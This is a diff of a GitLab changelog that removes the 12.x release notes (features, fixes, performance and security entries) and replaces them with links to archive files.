-- Extends 'Duplicate dashboard' feature, by including custom metrics added to GitLab-defined dashboards. !21923
-- Add tab width option to user preferences. !22063 (Alexander Oleynikov)
-- Add iid to operations_feature_flags and backfill. !22175
-- Support retrieval of disk statistics from Gitaly. !22226 (Nels Nelson)
-- Implement allowing empty needs for jobs in DAG pipelines. !22246
-- Create snippet repository when it's created. !22269
-- When switching to a file permalink, just change the URL instead of triggering a useless page reload. !22340
-- Packages published to the package registry via CI/CD with a CI_JOB_TOKEN will display pipeline information on the details page. !22485
-- Add users memberships endpoints for admins. !22518
-- Add cilium to the managed cluster apps template. !22557
-- Add WAF Anomaly Summary service. !22736
-- Introduce license_scanning CI template. !22773
-- Add extra fields to the application context. !22792
-- Add selective sync support to Geo Nodes API update endpoint. !22828 (Rajendra Kadam)
-- Add validation for custom PrometheusDashboard. !22893
-- Sync GitLab issue back to Sentry when created in GitLab. !23007
-- Add new Elastic Stack cluster application for pod log aggregation. !23058
-- NPM dist tags will now be displayed on the package details page. !23061
-- Add show routes for group and project repositories_controllers and add pagination to the index responses. !23151
-- Add pages_access_level to projects API. !23176 (Mathieu Parent)
-- Document CI job activity limit for pipeline creation. !23246
-- Update Praefect docs for subcommand. !23255
-- Add CI variables to provide GitLab port and protocol. !23296 (Aidin Abedi)
-- Seprate 5 classes in separate files from entities. !23299 (Rajendra Kadam)
-- Upgrade pages to 1.14.0. !23317
-- Indicate Sentry error severity in GitLab. !23346
-- Sync GitLab issues with Sentry plugin integration. !23355
-- Backfill missing GraphQL API Group type properties. !23389 (Fabio Huser)
-- Allow setting minimum concurrency for sidekiq-cluster processes. !23408
-- Geo: Add tables to prepare to replicate package files. !23447
-- Update deploy token architecture to introduce group-level deploy tokens. !23460
-- Add tags, external_base_url, gitlab_issue to Sentry Detailed Error graphql. !23483
-- Reverse actions for resolve/ignore Sentry issue. !23516
-- Add deploy_token_type column to deploy_tokens table. !23530
-- Add ability to hide GraphQL fields using GitLab Feature flags. !23563
-- Add can_create_merge_request_in to /project/:id API response. !23577
-- Close related GitLab issue on Sentry error resolve. !23610
-- Add emails_disabled to projects API. !23616 (Mathieu Parent)
-- Expose group milestones on GraphQL. !23635
-- Add support for lsif artifact report. !23672
-- Displays package tags next to the name on the new package list page. !23675
-- Collect release evidence at release timestamp. !23697
-- Create conditional Enable Review App button. !23703
-- Add CI variables to configure bundler-audit advisory database (Dependency Scanning). !23717
-- Add API to "Play" a scheduled pipeline immediately. !23718
-- Add selective sync support to Geo Nodes API create endpoint. !23729 (Rajendra Kadam)
-- Refactor user entities into own class files. !23730 (Rajendra Kadam)
-- Replace Net::HTTP with Gitlab::HTTP in rake gitlab:geo:check. !23741 (Rajendra Kadam)
-- Add separate classes for user related entities for email, membership, status. !23748 (Rajendra Kadam)
-- Add Sentry error stack trace to GraphQL API. !23750
-- Allow for relative time ranges in metrics dashboard URLs. !23765
-- Add non_archived param to issues API endpoint to filter issues from archived projects. !23785
-- Add separate classes for project hook, identity, export status. !23789 (Rajendra Kadam)
-- Create snippet repository model. !23796
-- Add non_archived param to group merge requests API endpoint to filter MRs from non archived projects. !23809
-- Change `Rename` to `Rename/Move` in Web IDE Dropdown. !23877
-- Add separate classes for project related classes. !23887 (Rajendra Kadam)
-- Added search box to dashboards dropdown in monitoring dashboard. !23906
-- Display operations feature flag internal ids. !23914
-- Enable search and filter in environments dropdown in monitoring dashboard. !23942
-- Add GraphQL mutation to restore multiple todos. !23950
-- Add migration to create resource milestone events table. !23965
-- Add cycle analytics duration chart with median line. !23971
-- Support require_password_to_approve in project merge request approvals API. !24016
-- Add updateImageDiffNote mutation. !24027
-- Upgrade Pages to 1.15.0. !24043
-- Updated package details page header to begin updating the page design. !24055
-- Added migration which adds project_key column to service_desk_settings. !24063
-- Separate project and group entities into own class files. !24070 (Rajendra Kadam)
-- Separate commit entities into own class files. !24085 (Rajendra Kadam)
-- Add delete identity endpoint on the users API. !24122
-- Add search support for protected branches API. !24137
-- Dark syntax highlighting theme for Web IDE. !24158
-- Added NuGet package installation instructions to package details page. !24162
-- Expose issue link type in REST API. !24175
-- Separate snippet entities into own class files. !24183 (Rajendra Kadam)
-- Support for table of contents tag in GitLab Flavored Markdown. !24196
-- Add GET endpoint to LDAP group link API. !24216
-- Add API to enable and disable error tracking settings. !24220 (Rajendra Kadam)
-- Separate protected and issuable entities into own class files. !24221 (Rajendra Kadam)
-- Separate issue entities into own class files. !24226 (Rajendra Kadam)
-- Make smarter user suggestions for assign slash commands. !24294
-- Add loading icon to clusters being created. !24370
-- Allow a grace period for new users to confirm their email. !24371
-- Separate merge request entities into own class files. !24373 (Rajendra Kadam)
-- Create an environment for self monitoring project. !24403
-- Add blocked icon on issue board card. !24420
-- Add blocking issues feature. !24460
-- Wait for elasticsearch to be green on install. !24489
-- Separate key and other entities into own class files. !24495 (Rajendra Kadam)
-- Implement support of allow_failure keyword for CI rules. !24605
-- Adds path to edit custom metrics in dashboard response. !24645
-- Add tooltip when dates in date picker are too long. !24664
-- API: Ability to list commits in order (--topo-order). !24702
-- Separate note entities into own class files. !24732 (Rajendra Kadam)
-- Separate 5 classes into own entities files. !24745 (Rajendra Kadam)
-- Set default dashboard for self monitoring project. !24814
-- Create operations strategies and scopes tables. !24819
-- Separate access entities into own class files. !24845 (Rajendra Kadam)
-- Refactor error tracking specs and add validation to enabled field in error tracking model. !24892 (Rajendra Kadam)
-- Separate service entities into own class files. !24936 (Rajendra Kadam)
-- Separate label entities into own class files. !24938 (Rajendra Kadam)
-- Separate board, list and other entities into own class files. !24939 (Rajendra Kadam)
-- Separate entities into own class files. !24941 (Rajendra Kadam)
-- Separate tag and release entities into own class files. !24943 (Rajendra Kadam)
-- Separate job entities into own class files. !24948 (Rajendra Kadam)
-- Separate entities into own class files. !24950 (Rajendra Kadam)
-- Separate environment entities into own class files. !24951 (Rajendra Kadam)
-- Display the y-axis on the range of data value in the chart. !24953
-- Separate token and template entities into own class files. !24955 (Rajendra Kadam)
-- Separate token entities into own class files. !24974 (Rajendra Kadam)
-- Separate JobRequest entities into own class files. !24977 (Rajendra Kadam)
-- Separate entities into own class files. !24985 (Rajendra Kadam)
-- Separate page domain entities into own class files. !24987 (Rajendra Kadam)
-- add avatar_url in job webhook, and email in pipeline webhook. !24992 (Guillaume Micouin)
-- Separate Application and Blob entities into own class files. !24997 (Rajendra Kadam)
-- Separate badge entities into own class files. !25116 (Rajendra Kadam)
-- Separate provider, platform and post receive entities into own class files. !25119 (Rajendra Kadam)
-- Separate cluster entities into own class files. !25121 (Rajendra Kadam)
-- Container Registry tag expiration policy settings. !25123
-- Upgrade pages to 1.16.0. !25238
-- Added "Prohibit outer fork" setting for Group SAML. !25246
-- Separate project entity into own class file. !25297 (Rajendra Kadam)
-- Add license FAQ link to license expired message.
-- Add broadcast types to broadcast messages.
-
-### Other (55 changes, 15 of them are from the community)
-
-- Upgrade to Rails 6. !19891
-- refactoring gl_dropdown.js to use ES6 classes instead of constructor functions. !20488 (nuwe1)
-- Creates a standalone vulnerability page. !20734
-- Auto generated wiki commit message containing HTML encoded entities. !21371 (2knal)
-- removes store logic from issue board models. !21391 (nuwe1)
-- removes store logic from issue board models. !21404 (nuwe1)
-- Reducing whitespace in group list to show more on screen and reduce vertical scrolling. !21584
-- Geo: Include host when logging. !22203
-- Add rate limiter to Project Imports. !22644
-- Use consistent layout in cluster advanced settings. !22656
-- Replace custom action array in CI header bar with <slot>. !22839 (Fabio Huser)
-- Fix visibility levels of subgroups to be not higher than their parents' level. !22889
-- Update pg gem to v1.2.2. !23237
-- Remove milestone_id from epics. !23282 (Lee Tickett)
-- Remove button group for edit and web ide in file header. !23291
-- Update GitLab Runner Helm Chart to 0.13.0/12.7.0. !23308
-- Remove storage_version column from snippets. !23315
-- Upgrade acme-client to v2.0.5. !23498
-- Make rake -T output more consistent. !23550
-- Show security report outdated message for only Active MRs. !23575
-- Update Kaminari templates to match gl-pagination's markup. !23582
-- Update GitLab Runner Helm Chart to 0.13.1 (GitLab Runner 12.7.1). !23588
-- Remove unused Code Hotspots database tables. !23590
-- Remove self monitoring feature flag. !23631
-- Store security scans run in CI jobs. !23669
-- More verbose JiraService error logs. !23688
-- Rename Cloud Run on GKE to Cloud Run for Anthos. !23694
-- Update links related to MR approvals in UI. !23948
-- Migrate issue tracker data to data field tables. !24076
-- Updated icon for copy-to-clipboard button. !24146
-- Add specialized index to packages_packages database table. !24182
-- Bump auto-deploy-image for Auto DevOps deploy to 0.9.1. !24231
-- Bump DAST deploy auto-deploy-image to 0.9.1. !24232
-- Move contribution analytics chart to echarts. !24272
-- Minor text update to IDE commit to branch disabled tooltip. !24521
-- Promote stackprof into a production gem. !24564
-- Replace unstructured application logs with structured (JSON) application logs in the admin interface. !24614
-- Move insights charts to echarts. !24661
-- Improve UX of optional fields in Snippets form. !24762
-- Update snippets empty state and remove explore snippets button. !24764
-- Backfill LfsObjectsProject records of forks. !24767
-- Update button margin of various empty states. !24806
-- Update loading icon in Value Stream Analytics view. !24861
-- Replace underscore with lodash for ./app/assets/javascripts/serverless. !25011 (Tobias Spagert)
-- Replaced underscore with lodash for spec/javascripts/vue_shared/components. !25018 (Shubham Pandey)
-- Replaced underscore with lodash for spec/javascripts/badges. !25135 (Shubham Pandey)
-- Replace underscore with lodash for ./app/assets/javascripts/error_tracking. !25143 (Tobias Spagert)
-- Destroy the OAuth application when Geo secondary becomes a primary. !25154 (briankabiro)
-- Refactored snippets view to Vue. !25188
-- Updated ui elements in wiki page creation. !25197 (Marc Schwede)
-- Internationalize messages for group audit events. !25233 (Takuya Noguchi)
-- Add a link to the variable priority override section from triggers page. !25264 (DFredell)
-- Track usage of merge request file header buttons. (Oregand)
-- Switch dropdown operators to lowercase.
-- Add clarifying content to account fields.
-
-
-## 12.7.9 (2020-04-14)
-
-### Security (3 changes)
-
-- Refresh ProjectAuthorization during Group deletion.
-- Prevent filename bypass on artifact upload.
-- Update rack and related gems to 2.0.9 to fix security issue.
-
-
-## 12.7.5
-
-### Fixed (4 changes, 1 of them is from the community)
-
-- Add accidentally deleted project config for custom apply suggestions. !23687 (Fabio Huser)
-- Fix database permission check for triggers on Amazon RDS. !24035
-- Fix applying the suggestions with an empty custom message. !24144
-- Remove invalid data from issue_tracker_data table.
-
-
-## 12.7.3
-
-### Security (17 changes, 1 of them is from the community)
-
-- Fix xss on frequent groups dropdown. !50
-- Bump rubyzip to 2.0.0. (Utkarsh Gupta)
-- Disable access to last_pipeline in commits API for users without read permissions.
-- Add constraint to group dependency proxy endpoint param.
-- Limit number of AsciiDoc includes per document.
-- Prevent API access for unconfirmed users.
-- Enforce permission check when counting activity events.
-- Prevent gafana integration token from being displayed as a plain text to other project maintainers, by only displaying a masked version of it. GraphQL api deprecate token field in GrafanaIntegration type.
-- Cleanup todos for users from a removed linked group.
-- Fix XSS vulnerability on custom project templates form.
-- Protect internal CI builds from external overrides.
-- ImportExport::ExportService to require admin_project permission.
-- Make sure that only system notes where all references are visible to user are exposed in GraphQL API.
-- Disable caching of repository/files/:file_path/raw API endpoint.
-- Make cross-repository comparisons happen in the source repository.
-- Update excon to 0.71.1 to fix CVE-2019-16779.
-- Add workhorse request verification to package upload endpoints.
-
-
-## 12.7.1
-
-### Fixed (6 changes)
-
-- Fix loading of sub-epics caused by wrong subscription check. !23184
-- Fix Bitbucket Server importer error handler. !23310
-- Fixes random passwords generated not conforming to minimum_password_length setting. !23387
-- Reverts MR diff redesign which fixes Web IDE visual bugs including file dropdown not showing up. !23428
-- Allow users to sign out on a read-only instance. !23545
-- Remove invalid data from jira_tracker_data table. !23621
-
-### Added (1 change)
-
-- Close Issue when resolving corresponding Sentry error. !22744
-
-
-## 12.7.0
-
-### Security (6 changes, 2 of them are from the community)
-
-- Ensure content matches extension on image uploads. !20697
-- Update set-value from 2.0.0 to 2.0.1. !22366 (Takuya Noguchi)
-- Update rdoc to 6.1.2. !22434
-- Upgrade json-jwt to v1.11.0. !22440
-- Update webpack from 4.40.2 to 4.41.5. !22452 (Takuya Noguchi)
-- Update rack-cors to 1.0.6. !22809
-
-### Removed (2 changes)
-
-- Remove feature flag 'use_legacy_pipeline_triggers' and remove legacy tokens. !21732
-- Add deprecation warning to Rake tasks in sidekiq namespace.
-
-### Fixed (91 changes, 7 of them are from the community)
-
-- Remove extra whitespace in user popover. !19938
-- Migrate the database to activate projects prometheus service integration for projects with prometheus installed on shared k8s cluster. !19956
-- Fix pages size limit setting in database if it is above the hard limit. !20154
-- Support dashes in LDAP group CN for sync on users first log in. !20402
-- Users without projects use a license seat in a non-premium license. !20664
-- Add fallbacks and proper errors for diff file creation. !21034
-- Authenticate API requests with job tokens for Rack::Attack. !21412
-- Tasks in HTML comments are no longer incorrectly detected. !21434
-- Hide mirror admin actions from developers. !21569
-- !21542 Part 3: Handle edge cases in stage and unstage mutations. !21676
-- Web IDE: Fix Incorrect diff of deletion and addition of the same file. !21680
-- Fix bug when clicking on same note twice in Firefox. !21699 (Jan Beckmann)
-- Fix "No changes" empty state showing up in changes tab, despite there being changes. !21713
-- Require group owner to have linked SAML before enabling Group Managed Accounts. !21721
-- Fix README.txt not showing up on a project page. !21763 (Alexander Oleynikov)
-- Fix MR diffs file count increments while batch loading. !21764
-- When sidekiq-cluster is asked to shutdown, actively terminate any sidekiq processes that don't finish cleanly in short order. !21796
-- Prevent MergeRequestsController#ci_environment_status.json from making HTTP requests. !21812
-- Fix issue: Discard button in Web IDE does nothing. !21902
-- Fix "Discard" for newly-created and renamed files. !21905
-- Add epic milestone sourcing foreign key. !21907
-- Fix transferring groups to root when EE features are enabled. !21915
-- Show regular rules without approvers. !21918
-- Resolve "Merge request discussions API doesn't reject an error input in some case". !21936
-- fix CSS when board issue is collapsed. !21940 (allenlai18)
-- Properly check a task embedded in a list with no text. !21947
-- Process quick actions when using Service Desk templates. !21948
-- Sidebar getting partially hidden behind the content block. !21978 (allenlai18)
-- Fix bug in Container Scanning report remediations. !21980
-- Return empty body for 204 responses in API. !22086
-- Limit the amount of time ChatNotificationWorker waits for the build trace. !22132
-- Return 503 error when metrics dashboard has no connectivity. !22140
-- Cancel running pipelines when merge request is dropped from merge train. !22146
-- Fix: undefined background migration classes for EE-CE downgrades. !22160
-- Check both SAST_DISABLE and SAST_DISABLE_DIND when executing SAST job template. !22166
-- Check both DEPENDENCY_SCANNING_DISABLED and DS_DISABLE_DIND when executing Dependency Scanning job template. !22172
-- Stop exposing MR refs in favor of persistent pipeline refs. !22198
-- Display login or register widget only if user is not logged in. !22211
-- Fix milestone quick action to handle ancestor group milestones. !22231
-- Fix RefreshMergeRequestsService raises an exception and unnecessary sidekiq retry. !22262
-- Make BackgroundMigrationWorker backward compatible. !22271
-- Update foreign key constraint for personal access tokens. !22305
-- Fix markdown table border colors. !22314
-- Retry obtaining Let's Encrypt certificates every 2 hours if it wasn't successful. !22336
-- Disable Prometheus metrics if initialization fails. !22355
-- Make jobs with resource group cancellable. !22356
-- Fix bug when trying to expose artifacts and no artifacts are produced by the job. !22378
-- Gracefully error handle CI lint errors in artifacts section. !22388
-- Fix GitLab plugins not working without hooks configured. !22409
-- Prevent omniauth signup redirect loop. !22432 (Balazs Nagy)
-- Fix deploy tokens erroneously triggering unique IP limits. !22445
-- Add support to export and import award emojis for issues, issue notes, MR, MR notes and snippet notes. !22493
-- Fix Delete Selected button being active after uploading designs after a deletion. !22516
-- Fix releases page when tag contains a slash. !22527
-- Reverts Add RBAC permissions for getting knative version. !22560
-- Fix error in Wiki when rendering the AsciiDoc include directive. !22565
-- Fix Error 500 in parsing invalid CI needs and dependencies. !22567
-- Fix discard all to behave like discard single file in Web IDE. !22572
-- Update IDE discard of renamed entry to also discard file changes. !22573
-- Avoid pre-populating form for MR resolve issues. !22593
-- Fix relative links in Slack message. !22608
-- Hide merge request tab popover for anonymous users. !22613
-- Remove unused keyword from EKS provision service. !22633
-- Prevent job log line numbers from being selected. !22691
-- Fix CAS users being signed out repeatedly. !22704
-- Make Sidekiq timestamps consistently ISO 8601. !22750
-- Merge a merge request immediately when passing merge when pipeline succeeds to the merge API when the head pipeline already succeeded. !22777
-- Fix Issue API: creating with manual IID returns conflict when IID already in use. !22788 (Mara Sophie Grosch)
-- Project issue board names now sorted correctly in FOSS. !22807
-- Fix upload redirections when project has moved. !22822
-- Update Mermaid to v8.4.5. !22830
-- Prevent builds from halting unnecessarily when completing prerequisites. !22938
-- Fix discarding renamed directories in Web IDE. !22943
-- Gracefully handle marking a project deletion multiple times. !22949
-- Fix: WebIDE doesn't work on empty repositories again. !22950
-- Fix rebase error message translation in merge requests. !22952 (briankabiro)
-- Geo: Fix Docker repository synchronization for local storage. !22981
-- Include subgroups when searching inside a group. !22991
-- Geo: Handle repositories in Docker Registry with no tags gracefully. !23022
-- Fix group issue list and group issue board filters not showing ancestor group milestones. !23038
-- Add returning relation from GroupMembersFinder if called on root group with only inherited param. !23161
-- Fix extracting Sentry external URL when URL is nil. !23162
-- Fix issue CSV export failing for some projects. !23223
-- Fix unexpected behaviour of the commit form after committing in Web IDE. !23238
-- Fix analytics tracking for new merge request notes. !23273
-- Identify correct sentry id in error tracking detail. !23280
-- Fix for 500 when error stack trace is empty. !119205
-- Removes incorrect help text from EKS Kubernetes version field.
-- Exclude snippets from external caching handling.
-- Validate deployment SHAs and refs.
-- Increase size of issue boards sidebar collapse button.
-
-### Changed (42 changes, 4 of them are from the community)
-
-- Restores user's ability to revoke sessions from the active sessions page. !17462 (Jesse Hall @jessehall3)
-- Add documentation & helper text information regarding securing a GitLab instance. !18987
-- Add activity across all projects to /events endpoint. !19816 (briankabiro)
-- Don't run Auto DevOps when no dockerfile or matching buildpack exists. !20267
-- Expose full reference path for issuables in API. !20354
-- Add measurement details for programming languages graph. !20592
-- Move instance statistics into analytics namespace. !21112
-- Improve warning for Promote issue to epic. !21158
-- Added Conan recipe in place of the package name on the package details page. !21247
-- Expose description_html for labels. !21413
-- Add audit events to the adding members to project or group API endpoint. !21633
-- Include commit message instead of entire page content in Wiki chat notifications. !21722 (Ville Skyttä)
-- Add fetching of Grafana Auth via the GraphQL API. !21756
-- Update prometheus chart version to 9.5.2. !21935
-- Turns on backend MR reports for DAST by default. !22001
-- Changes to template dropdown location. !22049
-- Copy merge request routes to the - scope. !22082
-- Copy repository route under - scope. !22092
-- Add back feature flag for cache invalidator. !22106
-- Update jupyterhub chart. !22127
-- Enable ability to install Crossplane app by default. !22141
-- Apply word-diff highlighting to Suggestions. !22182
-- Update auto-deploy-image to v0.8.3 for DAST default branch deploy. !22227
-- Restyle changes header & file tree. !22364
-- Upgrade to Gitaly v1.79.0. !22515
-- Save Instance Administrators group ID in DB. !22600
-- Resolve Create new project: Auto-populate project slug string to project name if name is empty. !22627
-- Bump cluster-applications image to v0.4.0, adding support to install cert-manager. !22657
-- Pass log source to the frontend. !22694
-- Allow Unicode 11 emojis in project names. !22776 (Harm Berntsen)
-- Update name max length. !22840
-- Update button label in MR widget pipeline footer. !22900
-- Exposes tiller.log as artifact in Managed-Cluster-Applications GitLab CI template. !22940
-- Rename GitLab Plugins feature to GitLab File Hooks. !22979
-- Allow to share groups with other groups. !23185
-- Upgrade to Gitaly v1.81.0. !23198
-- Enable Code Review Analytics by default. !23285
-- Add JSON error context to extends error in CI lint. !30066
-- Fix embedded snippets UI polish issues.
-- Align embedded snippet mono space font with GitLab mono space font.
-- Updates AWS EKS service role name help text to clarify it is distinct from provision role.
-- Adds quickstart doc link to ADO CICD settings.
-
-### Performance (27 changes)
-
-- Reduce redis key size for the Prometheus proxy and the amount of queries by half. !20006
-- Implement Atomic Processing that updates status of builds, stages and pipelines in one go. !20229
-- Request less frequent updates from Runner when job log is not being watched. !20841
-- Don't let Gitaly calls exceed a request time of 55 seconds. !21492
-- Reduce CommitIsAncestor RPCs with environments. !21778
-- LRU object caching for GroupProjectObjectBuilder. !21823
-- Preload project, user and group to reuse objects during project import. !21853
-- Fix slow query on blob search when doing path filtering. !21996
-- Add index to optimize loading pipeline charts. !22052
-- Avoid Gitaly RPCs in rate-limited raw blob requests. !22123
-- Remove after_initialize and before_validation for Note. !22128
-- Execute Gitaly LFS call once when Vue file enabled. !22168
-- Speed up path generation with build artifacts. !22257
-- Performance improvements on milestone burndown chart. !22380
-- Added smart virtual list component to test reports to enhance rendering performance. !22381
-- Add Index to help Hashed Storage migration on big instances. !22391
-- Use GraphQL to load error tracking detail page content. !22422
-- Improve link generation performance. !22426
-- Create optimal indexes for created_at order (Projects API). !22623
-- Avoid making Gitaly calls when some Markdown text links to an uploaded file. !22631
-- Remove unused index on project_mirror_data. !22647
-- Add more indexes for other order_by options (Projects API). !22784
-- Add indexes for authenticated Project API calls. !22886
-- Enable redis HSET diff caching by default. !23105
-- Add `importing?` to disable some callbacks.
-- Remove N+1 query issue when checking group root ancestor.
-- Reduce Gitaly calls needed for issue discussions.
-
-### Added (95 changes, 18 of them are from the community)
-
-- Add previous revision link to blame. !17088 (Hiroyuki Sato)
-- Render whitespaces in code. !17244 (Mathieu Parent)
-- Add an option to configure forking restriction. !17988
-- Add support for operator in filter bar. !19011
-- Add epics to project import/export. !19883
-- Load MR diff types lazily to reduce initial diff payload size. !19930
-- Metrics and network referee artifact types added to job artifact types. !20181
-- Auto stop environments after a certain period. !20372
-- Implement application appearance API endpoint. !20674 (Fabio Huser)
-- Add build metadata to package API. !20682
-- Add support for Liquid format in Prometheus queries. !20793
-- Adds created_at object to package api response. !20816
-- Stage all changes by default in Web IDE. !21067
-- 25968-activity-filter-to-notes-api. !21159 (jhenkens)
-- Improve error list UI on mobile viewports. !21192
-- New API endpoint GET /projects/:id/services. !21330
-- Add child and parent labels to pipelines. !21332
-- Add release count to project homepage. !21350
-- Add pipeline deletion button to pipeline details page. !21365 (Fabio Huser)
-- Add support for Rust Cargo.toml dependency vizualisation and linking. !21374 (Fabio Huser)
-- Expose issue link type in REST API. !21375
-- Implement customizable commit messages for applied suggested changes. !21411 (Fabio Huser)
-- Add stacktrace to issue created from the sentry error detail page. !21438
-- add background migration for sha256 fingerprints of ssh keys. !21579 (Roger Meier)
-- Add a cron job and worker to run the Container Expiration Policies. !21593
-- Add feature flag override toggle. !21598
-- Add 'resource_group' keyword to .gitlab-ci.yml for pipeline job concurrency limitation. !21617
-- Add full text search to pod logs. !21656
-- Add capability to disable issue auto-close feature per project. !21704 (Fabio Huser)
-- Add API for getting sentry error tracking settings of a project. !21788 (raju249)
-- Allow a pipeline (parent) to create a child pipeline as downstream pipeline within the same project. !21830
-- Add API support for retrieving merge requests deployed in a deployment. !21837
-- Add remaining project services to usage ping. !21843
-- Add ability to duplicate the common metrics dashboard. !21929
-- Custom snowplow events for monitoring alerts. !21963
-- Add enable_modsecurity setting to managed ingress. !21966
-- Add modsecurity_enabled setting to managed ingress. !21968
-- Allow admins to disable users ability to change profile name. !21987
-- Allow administrators to enforce access control for all pages web-sites. !22003
-- Setup storage for multiple milestones. !22043
-- Generate Prometheus sample metrics over pre-set intervals. !22066
-- Add tags to sentry detailed error response. !22068
-- Extend Design view sidebar with issue link and a list of participants. !22103
-- Add Gitlab version and revision to export. !22108
-- Add language and error urgency level for Sentry issue details page. !22122
-- Document MAVEN_CLI_OPTS defaults for maven project dependency scanning and update when the variable is used. !22126
-- Show sample metrics for an environment without prometheus configured. !22133
-- Download cross-project artifacts by using needs keyword in the CI file. !22161
-- Add GitLab commit to error detail endpoint. !22174
-- Container expiration policies can be updated with the project api. !22180
-- Allow CI_JOB_TOKENS for Conan package registry authentication. !22184
-- Add option to configure branches for which to send emails on push. !22196
-- Add a config for disabling CSS and jQuery animations. !22217
-- Add API for rollout Elasticsearch per plan level. !22240
-- Add retry logic for failures during import. !22265
-- Add migrations for version control snippets. !22275
-- Update tooltip content for deployment instances. !22289 (Rajendra Kadam)
-- Cut and paste Markdown table from a spreadsheet. !22290
-- Add CI variable to provide GitLab base URL. !22327 (Aidin Abedi)
-- Bump kubeclient version from 4.4.0 to 4.6.0. !22347
-- Accept `Envelope-To` as possible location for Service Desk key. !22354 (Max Winterstein)
-- Added Conan installation instructions to Conan package details page. !22390
-- Add API endpoint for creating a Geo node. !22392 (Rajendra Kadam)
-- Link to GitLab commit in Sentry error details page. !22431
-- Geo: Check current node in gitlab:geo:check Rake task. !22436
-- Add internal API to update Sentry error status. !22454
-- Add ability to ignore/resolve errors from error tracking detail page. !22475
-- Add informational message about page limits to environments dashboard. !22489
-- Add slug to services API response. !22518
-- Allow an upstream pipeline to create a downstream pipeline in the same project. !22663
-- Display SHA fingerprint for Deploy Keys and extend api to query those. !22665 (Roger Meier <r.meier@siemens.com>)
-- Add getDateInFuture util method. !22671
-- Detect go when doing dependency scanning. !22712
-- Fix aligment for icons on alerts. !22760 (Rajendra Kadam)
-- Allow "skip_ci" flag to be passed to rebase operation. !22800
-- Add gitlab_commit_path to Sentry Error Details Response. !22803
-- Document go support for dependency scanning. !22806
-- Implement ability to ignore Sentry errrors from the list view. !22819
-- Add ability to create an issue in an epic. !22833
-- Drop support for ES5 add support for ES7. !22859
-- Add View Issue button to error tracking details page. !22862
-- Resolve Design View: Left/Right keyboard arrows through Designs. !22870
-- Add Org to the list of available markups for project wikis. !22898 (Alexander Oleynikov)
-- Backend for allowing sample metrics to be toggled from ui. !22901
-- Display fn, line num and column in stacktrace entry caption. !22905
-- Get Project's environment names via GraphQL. !22932
-- Filter deployments using the environment & status. !22996
-- Assign labels to the GMA and project k8s namespaces. !23027
-- Expose mentions_disabled value via group API. !23070 (Fabio Huser)
-- Bump cluster-applications image to v0.5.0 (Adds GitLab Runner support). !23110
-- Resolve Sentry errors from error tracking list. !23135
-- Expose `active` field in the Error Tracking API. !23150
-- Track deployed merge requests using GitLab environments and deployments.
-- Enable the linking of merge requests to all non review app deployments.
-- Add comment_on_event_enabled to services API.
-
-### Other (31 changes, 7 of them are from the community)
-
-- Migrate issue trackers data. !18639
-- refactor javascript to remove Immediately Invoked Function Expression from project file search. !19192 (Brian Luckenbill)
-- Remove IIFEs from users_select.js. !19290 (minghuan lei)
-- Remove milestone_id from epics. !20539 (Lee Tickett)
-- Update d3 to 5.12. !20627 (Praveen Arimbrathodiyil)
-- Add Ci Resource Group models. !20950
-- Display in MR if security report is outdated. !20954
-- Fix CI job's scroll down icon and update animation. !21442
-- Implement saving config content for pipelines in a new table 'ci_pipelines_config'. !21827
-- Display SSL limitations warning for project's pages under namespace that contains dot. !21874
-- Updated monaco-editor dependency. !21938
-- fix: EKS credentials form does not reset after error. !21958
-- Fix regex matching for gemnasium dependency scanning jobs. !22025 (Maximilian Stendler)
-- User signout and admin mode disable use now POST instead of GET. !22113 (Diego Louzán)
-- Update to clarify slightly misleading tool tip. !22222
-- Replace Font Awesome cog icon with GitLab settings icon. !22259
-- Drop redundant index on ci_pipelines.project_id. !22325
-- Display location in the Security Project Dashboard. !22376
-- Add structured logging for application logs. !22379
-- Remove ActiveRecord patch to ignore limit on text columns. !22406
-- Update Ruby to 2.6.5. !22417
-- Log database time in Sidekiq JSON logs. !22548
-- Update GitLab Runner Helm Chart to 0.12.0. !22566
-- Update project hooks limits to 100 for all plans. !22604
-- Update Gitaly to v1.80.0. !22654
-- Update GitLab's codeclimate to 0.85.6. !22659 (Takuya Noguchi)
-- Updated no commit verbiage. !22765
-- Use IS08601.3 format for app level logging of timestamps. !22793
-- Upgrade octokit and its dependencies. !22946
-- Remove feature flag for import graceful failures.
-- Update the Net-LDAP gem to 0.16.2.
-
-
-## 12.6.7
-
-### Security (1 change)
-
-- Fix ProjectAuthorization calculation for shared groups.
-
-
-## 12.6.6
-
-### Security (1 change)
-
-- Update workhorse to v8.20.0.
-
-
-## 12.6.5
-
-### Security (19 changes, 1 of them is from the community)
+- See [changelogs/archive-12.md](changelogs/archive-12.md)
-- Update rack-cors to 1.0.6.
-- Update rdoc to 6.1.2.
-- Bump rubyzip to 2.0.0. (Utkarsh Gupta)
-- Cleanup todos for users from a removed linked group.
-- Disable access to last_pipeline in commits API for users without read permissions.
-- Add constraint to group dependency proxy endpoint param.
-- Limit number of AsciiDoc includes per document.
-- Prevent API access for unconfirmed users.
-- Enforce permission check when counting activity events.
-- Prevent gafana integration token from being displayed as a plain text to other project maintainers, by only displaying a masked version of it.
-- Fix xss on frequent groups dropdown.
-- Fix XSS vulnerability on custom project templates form.
-- Protect internal CI builds from external overrides.
-- ImportExport::ExportService to require admin_project permission.
-- Make sure that only system notes where all references are visible to user are exposed in GraphQL API.
-- Disable caching of repository/files/:file_path/raw API endpoint.
-- Make cross-repository comparisons happen in the source repository.
-- Update excon to 0.71.1 to fix CVE-2019-16779.
-- Add workhorse request verification to package upload endpoints.
+## 11.11.8 through 11.0.0
+- See [changelogs/archive-11.md](changelogs/archive-11.md)
-## 12.6.4
-
-### Security (1 change)
-
-- Fix private objects exposure when using Project Import functionality.
-
-
-## 12.6.2
-
-### Security (6 changes)
-
-- GraphQL: Add timeout to all queries.
-- Filter out notification settings for projects that a user does not have at least read access.
-- Hide project name and path when unsusbcribing from an issue or merge request.
-- Fix 500 error caused by invalid byte sequences in uploads links.
-- Return only runners from groups where user is owner for user CI owned runners.
-- Fix Vulnerability of Release Evidence.
-
-
-## 12.6.1
-
-### Fixed (2 changes)
-
-- Handle forbidden error when checking for knative. !22170
-- Fix stack trace highlight for PHP. !22258
-
-### Performance (1 change)
-
-- Eliminate N+1 queries in PipelinesController#index. !22189
-
-
-## 12.6.0
-
-### Security (4 changes)
-
-- Update Rugged to v0.28.4.1. !21869
-- Update maven_file_name_regex for full string match.
-- Add maven file_name regex validation on incoming files.
-- Update Workhorse and Gitaly to fix a security issue.
-
-### Removed (1 change)
-
-- Remove downstream pipeline connecting lines. !21196
-
